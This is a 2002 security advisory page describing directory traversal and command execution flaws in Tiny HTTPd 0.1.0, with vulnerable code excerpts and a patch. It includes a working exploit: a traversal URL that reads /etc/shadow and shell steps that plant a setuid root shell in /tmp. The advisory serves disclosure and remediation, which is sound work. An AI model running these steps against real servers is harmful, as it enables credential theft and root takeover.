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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Multiple Vulnerabilities in Tiny HTTPd 22 Nov. 2002    Summary tinyhttpd (Tiny HTTPd) is a very simple web server. The program has been found to contain two vulnerabilities, a directory traversal vulnerability (that allows compromising of the whole system due to command execution vulnerability).   Credit: The information has been provided by dong-houn yoU. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems:  * tinyhttpd version 0.1.0 Vulnerable code: __    110     cgi = 1;    111    if (!cgi) // because cgi is not, read file.    112     serve_file(client, path);    113    else    114     execute_cgi(client, path, method, query_string); // cgi executes.    115   }      116   close(client);    117  }    -- As you can see in serve_file() line:359.    __    359  void serve_file(int client, const char *filename)         ...    367   resource = fopen(filename, "r");         ...    373    cat(client, resource);    -- And as you can see in cat() line:143.    __    143  void cat(int client, FILE *resource)         ...    149    send(client, buf, strlen(buf), 0);    -- And that the function that executes the CGI in line:185.    __    185  void execute_cgi(int client, const char *path,    186                   const char *method, const char *query_string)         ...    249    execl(path, path, NULL);    250    exit(0);      -- It does not filter out "../", allowing a directory traversal vulnerability. Exploit: Because the server runs as root: http://tiniwebserver/../../../../../../../etc/shadow Will return the content of the shadow file. To gain root privileges you need to first execute: bash$ cat > test; chmod +x test #!/bin/sh cp /bin/sh /tmp/sh chmod 4755 /tmp/sh ^C bash$ And then: bash$ lynx http://localhost/../../../../../../../tmp/test bash$ /tmp/sh -i bash# Patch:  === httpd.patch === --- httpd.c     Sun Apr 22 09:13:13 2001 +++ httpd.patch.c       Thu Oct 17 19:07:41 2002 @@ -55,6 +55,7 @@   char method[255];   char url[255];   char path[512]; + int t;   size_t i, j;   struct stat st;   int cgi = 0;      /* becomes true if server decides this is a CGI @@ -88,6 +89,15 @@    i++; j++;   }   url[i] = '\0'; + + for(t=0;t<strlen(url);t++) + { +     if(url[t] == '.' && url[t+1] == '.' && url[t+2] == '/') +     { +        url[t] = '/'; +        url[t+1] = '/'; +     } + }     if (strcasecmp(method, "GET") == 0)   {  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability Insight Control for Linux Multiple Vulnerabilities HP-UX Running NFS/ONCplus Denial of Service Vulnerability HP-UX Running BIND Denial of Service Vulnerability 2011 HP-UX Running XNTP Denial of Service Vulnerability HP-UX Denial of Service Vulnerability Webkit Detached Body Element Code Execution Vulnerability Mac OS X Compact Font Format Decoder Code Execution Vulnerability WebKit WBR Tag Removal Code Execution Vulnerability Webkit Undefined DOM Prototype Attach Code Execution Vulnerability Apple HFS Information Disclosure Vulnerability XPDF arbitrary Arbitrary Code Execution Vulnerabilities Hewlett-Packard Data Protector Client EXEC_CMD omni_chk_ds.sh Code Execution Vulnerability Red Hat OpenJDK IcedTea6 ClassLoader Code Execution Vulnerability HP-UX Apache Running Tomcat Servlet Engine Remote Modification and Denial of Service Vulnerabilities  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
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